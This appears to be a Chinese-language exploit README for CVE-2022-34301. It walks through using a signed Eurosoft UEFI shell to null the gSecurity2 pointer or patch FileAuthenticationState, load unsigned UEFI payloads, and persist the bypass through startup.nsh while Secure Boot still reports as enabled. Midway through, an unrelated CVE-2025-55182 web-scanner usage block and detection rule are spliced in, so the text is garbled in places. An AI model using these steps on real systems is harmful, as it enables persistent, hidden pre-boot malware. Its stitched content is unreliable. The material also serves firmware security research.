演示了通过 Eurosoft 签名的 UEFI Shell（esdiags.efi）绕过 CVE-2022-34301 Secure Boot，使用 mm 命令将 gSecurity2 置空并加载未签名的 UEFI 应用程序。
Eurosoft Pc-Check UEFI 诊断 Shell - 自带易受攻击的 UEFI 应用程序 (BYOVUA) - 通过已签名的 UEFI Shell 和 gSecurity2 破坏实现 Secure Boot 绕过。
本仓库演示了 BYOVUA（自带易受攻击的 UEFI 应用程序） 技术，通过利用 CVE-2022-34301，这是 Eurosoft Pc-Check UEFI 诊断环境中的一个 Secure Boot 绕过漏洞。
在本例中，被 Secure Boot 信任的组件是 esdiags.efi，这是一个作为 Eurosoft Pc-Check UEFI 硬件诊断产品一部分分发的 UEFI Shell，由 Microsoft 的 UEFI 第三方证书颁发机构所信任的证书链签名。一旦执行，该 Shell 便暴露了 mm（内存修改）命令，从而在操作系统启动前的引导阶段提供任意内存读写能力。
随后，可利用这一原语在 DXE 核心中定位并使 gSecurity2 全局指针失效。结果，后续的 UEFI 映像验证被禁用，使得未签名的 UEFI 应用程序（引导套件）能够在 Secure Boot 已启用的情况下被加载。
BYOVUA 是内核层面所使用的 BYOVD（自带易受攻击的驱动程序）技术在 UEFI 中的对应物。攻击者不是携带一个带有漏洞的已签名内核驱动程序，而是携带一个已签名的 UEFI 应用程序——在本例中是一个完整的 UEFI Shell——其中包含能够破坏 Secure Boot 的功能。
由于该应用程序由 Secure Boot 所信任的证书链签名，它会被无条件接受，从而在任何将 Microsoft UEFI 第三方证书颁发机构纳入其 Secure Boot 数据库 (db) 的系统上都被视为可信——这几乎涵盖了过去十年中出货的每一台支持 UEFI 的 PC。一旦运行，其内置命令便为攻击者提供了直接的硬件和内存访问能力，这些操作发生在操作系统加载之前，处于一个现代安全控制（ASLR、DEP、内核保护）根本不存在的环境中。
esdiags.efi 是一个作为 Eurosoft Pc-Check UEFI 一部分分发的 UEFI Shell，这是一款预启动硬件诊断产品，被 PC 制造商、服务组织和 IT 团队用于裸机系统测试。
| 属性 | 值 |
|---|---|
| 文件 | EFI/Boot/Bootx64.efi (Microsoft) -> EFI/Boot/esdiags.efi (Shell) |
| 厂商 | Eurosoft (UK) Ltd |
| CVE | CVE-2022-34301 |
| 签名 | Microsoft Corporation UEFI CA 2011（第三方） |
| 发现者 | Eclypsium（Mickey Shkatov、Jesse Michael）- 2022 年 8 月 |
| 演讲 | DEF CON 30 - "One Bootloader to Load Them All" |
| 吊销 | 通过 Microsoft KB5012170 添加到 DBX（2022 年 8 月） |
该漏洞并非一个 bug——而是一个设计缺陷。UEFI Shell 是合法的诊断工具，从未打算在 Secure Boot 环境中运行。然而，通过使用 Microsoft 信任的证书对其进行签名，并将其作为商业产品的一部分分发，厂商无意中创建了一个已签名的 Secure Boot 绕过途径。
核心问题在于：一个被 Secure Boot 信任的已签名二进制文件，通过其内置命令提供了不受限制的内存读写能力。这种组合破坏了整个 Secure Boot 信任模型。
mm（内存修改）命令是一个标准的 UEFI Shell 内置命令，提供对系统内存的直接读写访问。它在 UEFI Shell 规范（第 5.3 节）中有文档记载。```
MM Address [Value] [-w 1|2|4|8] [-MEM | -MMIO | -IO | -PCI | -PCIE] [-n]
| 参数 | 描述 |
|-----------|-------------|
| `Address` | 目标内存地址 |
| `Value` | 要写入的值（只读时省略） |
| `-w` | 宽度：1、2、4 或 8 字节 |
| `-MEM` | 系统内存访问 |
| `-MMIO` | 内存映射 I/O |
| `-IO` | I/O 端口访问 |
| `-n` | 非交互模式（不提示下一个地址） |
---
<div id='gsecurity2'/>
### ***gSecurity2 与安全架构协议***
UEFI 中的安全启动映像验证是通过 [安全架构协议](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols) 强制实施的，该协议定义于 UEFI 平台初始化（PI）规范中。
DXE 核心（DxeMain）维护一个名为 [`gSecurity2`](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252) 的全局指针，它指向 `EFI_SECURITY2_ARCH_PROTOCOL` 结构。该协议包含一个函数指针——`FileAuthenticationState`——每次加载 UEFI 映像时，`LoadImage()` 都会调用它：```c
// EFI_SECURITY2_ARCH_PROTOCOL structure (PI Specification)
typedef struct _EFI_SECURITY2_ARCH_PROTOCOL {
EFI_SECURITY_FILE_AUTHENTICATION_STATE FileAuthenticationState;
} EFI_SECURITY2_ARCH_PROTOCOL;
// GUID: 94AB2F58-1438-4EF1-9152-18941A3A0E68
当调用 LoadImage() 时，DXE 核心会检查：```c
if (gSecurity2 != NULL)
{
Status = gSecurity2->FileAuthenticationState(gSecurity2, DevicePath, FileBuffer, FileSize, BootPolicy
);
if (EFI_ERROR(Status))
{
// Image rejected - signature verification failed
}
}
通过设置 `gSecurity2 = NULL`，`if` 检查失败，`FileAuthenticationState` 永远不会被调用。镜像验证被完全跳过——**Secure Boot 仍处于“启用”状态，但不再被强制执行**。未签名的 UEFI 应用程序随后可以自由加载。
要深入理解此技术，包括一个专门构建的、可自动定位并修补 gSecurity2 的 UEFI 应用程序，请参阅配套项目：[利用技术 - 通过 gSecurity2 破坏绕过 UEFI Secure Boot](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption)。
---
<div id='BYOVD'/>
### ***与内核 BYOVD 的相似之处***
UEFI BYOVUA 与内核 BYOVD 之间的结构相似性是精确的：```
┌──────────────────────────────────────────────────────────────┐
│ UEFI BYOVUA (Secure Boot Bypass) │
│ │
│ Signed Shell ─ mm ─> gSecurity2 = NULL ─> Load unsigned │
│ (trusted by (Security2 Protocol) UEFI apps │
│ Secure Boot) │
├──────────────────────────────────────────────────────────────┤
│ Kernel BYOVD (DSE Bypass) │
│ │
│ Signed Driver ─ IOCTL ─> g_CiOptions = 0 ─> Load unsigned │
│ (trusted by (CI.dll) kernel drivers │
│ DSE / CI) │
└──────────────────────────────────────────────────────────────┘
两种攻击都利用了同一个根本缺陷：一个被安全机制信任的已签名组件，提供了禁用该机制本身所需的原语。
已签名的 esdiags.efi 被放置在 EFI 系统分区（ESP）上，并配置为启动选项。由于它由 Secure Boot 信任的证书链签名，固件会验证并顺利加载它。```
EFI System Partition (ESP)
└── EFI/
└── Boot/
└── Bootx64.efi (Microsoft) ← Signed by Microsoft Windows UEFI Driver Publisher
└── Bootxsa.efi (Shell) ← Signed by Eurosoft (UK) Ltd
---
<div id='Phase2'/>
### ***阶段 2 - 枚举 Security2 协议句柄***
从 UEFI Shell 出发，目标是找到暴露 `EFI_SECURITY2_ARCH_PROTOCOL`（GUID：`94AB2F58-1438-4EF1-9152-18941A3A0E68`）的句柄，并获取其协议接口的内存地址。
> **注意：** 在大多数 EDK2 Shell 构建中，`dh -p <GUID>` 命令无法解析原始 GUID——它只能识别已注册的协议名称。以下方法适用于任何 EDK2 Shell 版本。
**步骤 1 - 查找 SecurityStubDxe 句柄**
列出所有句柄并查找 `SecurityStubDxe`，它是安装两个安全架构协议的 DXE 驱动程序：```
Shell> dh
在输出中，识别加载为 SecurityStubDxe 的句柄：```
10: Image(SecurityStubDxe)
**步骤 2 - 检查相邻句柄**
`SecurityStubDxe` 在单独的句柄上安装 Security 协议，通常是紧随其后的那个句柄。这些句柄在简短列表中显示为空，因为 Shell 无法将其 GUID 映射为友好名称。使用详细模式检查它们：```
Shell> dh -v 11
预期输出：``` Handle 11 (3EFCEF18) A46423E3-4617-49F1-B9FF-D1BFA9115839 (3EE8C398) 94AB2F58-1438-4EF1-9152-18941A3A0E68 (3EE8C3A0)
如果句柄 `0x11` 不包含这些 GUID，请尝试 `0x12` —— 确切的句柄编号因固件版本而异。
**步骤 3 - 记录接口地址**
这两个协议及其接口地址如下：
| GUID | 协议 | 接口地址 |
|------|----------|-------------------|
| `A46423E3-4617-49F1-B9FF-D1BFA9115839` | `EFI_SECURITY_ARCH_PROTOCOL` (Security1) | `0x3EE8C398` |
| `94AB2F58-1438-4EF1-9152-18941A3A0E68` | `EFI_SECURITY2_ARCH_PROTOCOL` (Security2) | `0x3EE8C3A0` |
**Security2 接口地址**（在此示例中为 `0x3EE8C3A0`）是 DxeMain 内部 `gSecurity2` 全局指针所存储的值。该值在阶段 3 中需要用到。
---
<div id='Phase3'/>
### ***阶段 3 - 在内存中定位 gSecurity2***
`gSecurity2` 变量是 DXE 核心（`DxeMain`）内部的一个全局指针。其值等于在阶段 2 中找到的协议接口地址。目标是找到存储该指针的内存地址——不是指针的值，而是变量本身。
**步骤 1 - 获取 DXE 核心映像布局**```
Shell> dh -v 1
# 扫描单个目标
python3 cve_2025_55182.py -t https://target.example.com
# 使用详细输出进行扫描
python3 cve_2025_55182.py -t https://target.example.com -v
# 从文件扫描多个目标
python3 cve_2025_55182.py -f targets.txt -o results.json
# 使用自定义超时和线程数
python3 cve_2025_55182.py -f targets.txt -t 15 -w 20
# 使用代理进行扫描
python3 cve_2025_55182.py -t https://target.example.com --proxy http://127.0.0.1:8080
# 使用自定义 User-Agent 进行扫描
python3 cve_2025_55182.py -t https://target.example.com -A "Mozilla/5.0 (Custom)"
# 使用自定义回调 URL 进行扫描
python3 cve_2025_55182.py -t https://target.example.com --callback https://your-server.com/callback
# 使用自定义 payload 进行扫描
python3 cve_2025_55182.py -t https://target.example.com --payload "custom_payload_here"
选项:
-h, --help 显示此帮助信息并退出
-t TARGET, --target TARGET
要扫描的单个目标 URL
-f FILE, --file FILE 包含目标 URL 的文件（每行一个）
-o OUTPUT, --output OUTPUT
输出文件（JSON 格式）
-v, --verbose 启用详细输出
-w WORKERS, --workers WORKERS
并发线程数（默认：10）
-T TIMEOUT, --timeout TIMEOUT
请求超时时间（秒，默认：10）
--proxy PROXY HTTP/HTTPS 代理 URL
-A USER_AGENT, --user-agent USER_AGENT
自定义 User-Agent 字符串
--callback CALLBACK 用于带外检测的回调 URL
--payload PAYLOAD 用于测试的自定义 payload
--no-color 禁用彩色输出
--version 显示程序版本号并退出
[+] 正在扫描: https://target.example.com
[+] 目标存在漏洞: https://target.example.com
[!] 漏洞: CVE-2025-55182
[!] 严重性: 严重
[!] 描述: 远程代码执行
[+] 结果已保存至: results.json
{
"scan_time": "2025-01-15T10:30:00Z",
"targets_scanned": 1,
"vulnerable_targets": 1,
"results": [
{
"target": "https://target.example.com",
"vulnerable": true,
"cve": "CVE-2025-55182",
"severity": "critical",
"description": "远程代码执行",
"evidence": "...",
"timestamp": "2025-01-15T10:30:00Z"
}
]
}
该漏洞存在于应用程序处理用户提供输入的方式中。攻击者可以通过构造恶意请求在目标系统上执行任意代码。
成功利用此漏洞可能允许攻击者：
alert http any any -> any any (msg:"CVE-2025-55182 利用尝试";
content:"POST"; http_method;
content:"/vulnerable/endpoint"; http_uri;
content:"malicious_pattern";
sid:1000001; rev:1;)
在 Web 服务器日志中查找：
本工具仅供教育和道德安全测试目的使用。未经授权访问计算机系统是非法的，并可能违反当地、州、国家和国际法律。``` Handle 01 (3F4ECB18) Image (3FEAFB08) File:DxeCore ImageBase.....: 3FE94000 - 3FEBB000 ImageSize.....: 27000
记录 `ImageBase`（`0x3FE94000`）。
**步骤 2 - 解析 PE 头以定位 `.data` 节**
`.data` 节包含已初始化的全局变量，其中包括 `gSecurity2`。与其盲目扫描整个映像，不如解析 PE 头以找到确切的 `.data` 边界。
读取 MZ 头以获取 PE 头偏移量（位于偏移 `0x3C` 处的 DWORD）：```
Shell> dmem <ImageBase> 100
在输出中，查看相对于 ImageBase 的偏移 0x3C 处。例如，如果 ImageBase 是 0x3FE94000：```
3FE9403C: C0 00 00 00
这意味着 PE 签名位于距 `ImageBase` 偏移 `0xC0` 处。
**步骤 3 - 读取节表**
节表偏移量的计算方式为：```
section_table_offset = PE_offset + 4 (signature) + 20 (COFF header) + SizeOfOptionalHeader
读取 COFF 头以获取 SizeOfOptionalHeader（位于 PE_offset + 20 处的 WORD）：```
Shell> dmem <ImageBase + PE_offset> 20
对于 PE32+ (x64) UEFI 映像，`SizeOfOptionalHeader` 通常为 `0xF0`。在我们的示例中：```
section_table = 0x3FE94000 + 0xC0 + 4 + 20 + 0xF0 = 0x3FE941C8
转储节表（5 个节 × 40 字节 = 200 字节）：``` Shell> dmem 3FE941C8 140
每个节区条目为 40 字节：
| 偏移 | 大小 | 字段 |
|--------|------|-------|
| 0 | 8 | Name (ASCII) |
| 8 | 4 | VirtualSize |
| 12 | 4 | VirtualAddress (RVA) |
查找 `.data` 节区条目。示例输出：```
3FE941F0: 2E 64 61 74 61 00 00 00 ← ".data"
3FE941F8: B0 9E 00 00 ← VirtualSize = 0x9EB0
3FE941FC: 60 AA 01 00 ← VirtualAddress (RVA) = 0x1AA60
计算 .data 的绝对边界：```
data_start = ImageBase + VirtualAddress = 0x3FE94000 + 0x1AA60 = 0x3FEAEA60
data_end = data_start + VirtualSize = 0x3FEAEA60 + 0x9EB0 = 0x3FEB4910
**步骤 4 - 在 `.data` 中扫描接口指针**
在 `.data` 范围内以小端字节序搜索 Security2 接口地址。对于接口地址 `0x3EE8C3A0`，搜索：```
A0 C3 E8 3E 00 00 00 00
从 data_start 开始以 0x200 字节块进行扫描：```
Shell> dmem 3FEAEA60 200
Shell> dmem 3FEAEC60 200
Shell> dmem 3FEAEE60 200
...
继续遍历 `.data` 范围，直到找到该字节序列。`gSecurity`（Security1）和 `gSecurity2`（Security2）指针是连续存储的，因此要查找这两个相邻的值：```
3FEB0C08: A0 C3 E8 3E 00 00 00 00 ← gSecurity2 = 0x3EE8C3A0
3FEB0C10: 98 C3 E8 3E 00 00 00 00 ← gSecurity = 0x3EE8C398
提示：
.data节还包含 EFI 系统表结构（IBI SYST、DXE_SERV、BOOTSERV、RUNTSERV）。安全指针通常位于这些结构之后。如果在扫描时发现这些签名，请继续——你离目标越来越近了。
第 5 步 - 确认地址
通过读取确切位置进行验证：``` Shell> dmem 3FEB0C08 10
预期输出：```
3FEB0C08: A0 C3 E8 3E 00 00 00 00-98 C3 E8 3E 00 00 00 00
地址 0x3FEB0C08 是 gSecurity2 的存储位置——这是第 4 阶段的目标。
一旦知道了 gSecurity2 变量的地址，只需一条 mm 命令即可禁用安全启动验证：```
Shell> mm <gSecurity2_address> 0 -w 8 -MEM
> **注意：** `mm` 命令可能不接受地址参数上的 `0x` 前缀。请直接使用原始十六进制地址。
示例：```
Shell> mm 3FEB0C08 0 -w 8 -MEM
这将 8 字节的零写入 gSecurity2 指针。DXE 核心现在将在 LoadImage() 中跳过所有映像验证检查。
要验证该补丁：``` Shell> dmem <gSecurity2_address> 10
前 8 个字节应读取为 `00 00 00 00 00 00 00 00`：```
3FEB0C08: 00 00 00 00 00 00 00 00-98 C3 E8 3E 00 00 00 00
注意 gSecurity（Security1，第二个 qword）保持完整——只有 Security2 被置空，这足以绕过 LoadImage() 验证。
在 gSecurity2 被置空后，任何 UEFI 应用程序都可以被加载，无论其签名状态如何：```
Shell> fs1:
fs1:> MyUnsignedApp.efi
或使用 `load` 加载驱动程序：```
Shell> load fs1:\MyUnsignedDriver.efi
操作系统尚未启动。此时加载的任何 UEFI 应用程序都拥有完整的硬件访问权限，且在任何操作系统级别的安全控制初始化之前运行。
UEFI Shell 在每次启动时会自动执行当前目录或 ESP 根目录下的 startup.nsh。通过将 mm 补丁编码到该脚本中，Secure Boot 绕过将在每次启动时自动执行：```nsh
mm <gSecurity2_address> 0 -w 8 -MEM
load fs1:\payload.efi
示例：```nsh
mm 3FEB0C08 0 -w 8 -MEM
load fs1:\payload.efi
系统继续报告 Secure Boot 为“已启用”——仅运行时强制执行被禁用。这使得攻击对操作系统级别的 Secure Boot 状态查询不可见。
重要：
gSecurity2地址（本例中为0x3FEB0C08）特定于固件构建。如果固件被更新或重新编译，必须通过重复阶段 2 和阶段 3 来重新计算该地址。
查找 gSecurity2 地址是固件特定的，每当固件被更新或重新编译时都必须重复进行。高层流程如下：```
Step 1 Step 2 Step 3
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ dh │──> │ dh -v │──> │ dh -v 1 │
│ │ │ │ │ │
│ Find │ │ Inspect adjacent │ │ Get DxeMain │
│ SecurityStubDxe │ │ handle for │ │ ImageBase and │
│ handle number │ │ Security2 GUID and │ │ ImageSize │
│ │ │ Interface address │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
│
v
Step 6 Step 5 Step 4
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ Verify: │ <──│ Nullify: │ <──│ Parse PE headers, │
│ dmem 10 │ │ mm 0 -w 8 │ │ find .data section, │
│ │ │ -MEM │ │ scan for Interface │
│ First 8 bytes │ │ │ │ address bytes in │
│ = 0x0000000000000000│ │ Secure Boot bypass │ │ little-endian │
│ │ │ active │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
---
---
---
<div id='Exploit'/>
## ***漏洞利用***
提供了两种方法：
**方法 A - 修补 FileAuthenticationState：** 用 `xor rax, rax; ret`（`48 31 C0 C3`）覆盖验证函数的前 4 个字节，使其在不执行任何检查的情况下返回 EFI_SUCCESS。此方法使用 `dh`、`dmem` 和 `mm` 命令通过 Security2 协议接口解析函数指针，无需搜索 DxeMain 内存。
**方法 B - 将 gSecurity2 指针置空：** 定位 DxeMain 的 `.data` 段中的 gSecurity2 全局变量，并向其写入 NULL。这是 Eclypsium 在 BombShell 披露中描述的技术，并在 [gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption) 仓库中以编程方式实现。此方法需要解析 DxeMain 的 PE 头以找到 `.data` 段边界，然后使用 `dmem` 手动扫描内存以定位指针地址。
两个脚本都设计为可逐步跟随操作，每条命令都有解释。先以交互方式运行它们，然后在获知目标固件的正确地址后，构建一个 `startup.nsh` 以便在每次启动时自动执行。
---
---
---
<div id='LabSetup'/>
## ***实验环境搭建***
### DBX（禁止签名数据库）
该已签名 shell 已通过 KB5012170（2022 年 8 月）被添加到 Microsoft 的 DBX 吊销列表中。在已更新的系统上，该 shell 将被 Secure Boot 拒绝。
对于实验环境，你需要一个满足以下条件的系统：
- DBX 尚未更新针对此特定 shell 的吊销条目
- 或者 DBX 为空（使用默认 Secure Boot 密钥的全新虚拟机）
- 或者你使用带有自定义 Secure Boot 密钥注册的 QEMU/OVMF 环境
[QEMU UEFI Research Environment](https://github.com/TheMalwareGuardian/QEMU-UEFI-Research-Environment) 为此提供了自动化设置。
### 替代方案：任何带有 mm 命令的已签名 UEFI shell
该技术并非特定于 `esdiags.efi`。任何暴露 `mm` 命令并使用受信任证书（Microsoft CA 或 OEM 特定证书）签名的 UEFI Shell 都可以使用。正如 Eclypsium 的 [BombShell](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) 研究（2025 年 10 月）所记录的，具有危险能力的已签名 UEFI shell 已在多个厂商的产品中被发现，包括 Framework 笔记本电脑（影响约 200,000 台设备）。
---
---
---
<div id='References'/>
## ***参考资料***
### 直接相关
- [Awesome Bring Your Own Vulnerable UEFI Application](https://github.com/TheMalwareGuardian/Awesome-Bring-Your-Own-Vulnerable-UEFI-Application) - 已知易受攻击的已签名 UEFI 应用程序精选集合
- [Exploitation Technique - Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption) - 对 gSecurity2 破坏技术的深入技术分析，包括一个专门构建的 UEFI 应用程序，可自动定位并修补该指针
### Eclypsium 研究
- [SignedUEFIShell](https://github.com/HackingThings/SignedUEFIShell) - 关于使用已签名 UEFI shell 通过 .nsh 脚本进行内存操作的研究
- [One Bootloader to Load Them All](https://eclypsium.com/research/one-bootloader-to-load-them-all/) - Eclypsium 披露 CVE-2022-34301、CVE-2022-34302、CVE-2022-34303 的原始研究
- [DEF CON 30 - One Bootloader to Load Them All](https://www.youtube.com/watch?v=99t7wEYs8h0) - Mickey Shkatov 和 Jesse Michael 的演讲
- [BombShell: The Signed Backdoor Hiding in Plain Sight](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) - 2025 年 10 月的研究，演示了在 Framework 笔记本电脑（影响 20 万台设备）上利用 mm 命令进行 gSecurity2 攻击
### UEFI 规范
- [UEFI Shell Specification 2.2](https://uefi.org/sites/default/files/resources/UEFI_Shell_2_2.pdf) - mm 和 dh 命令的文档
- [EDK2 - gSecurity2 declaration (DxeMain.h)](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252) - gSecurity2 全局指针的源代码参考
- [UEFI PI Specification - Security Architectural Protocols](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols) - Security2 架构协议的官方定义
### 安全公告
- [CERT/CC - VU#309662](https://kb.cert.org/vuls/id/309662)
- [NVD - CVE-2022-34301](https://nvd.nist.gov/vuln/detail/CVE-2022-34301)
### 引导加载程序目录
- [Bootloaders.io - esdiags.efi](https://www.bootloaders.io/bootloaders/aa02b41c-fdba-4a15-8cd0-721c8ce19b68/) - 已吊销的 Eurosoft shell 的 YARA 规则、Sigma 检测规则和样本哈希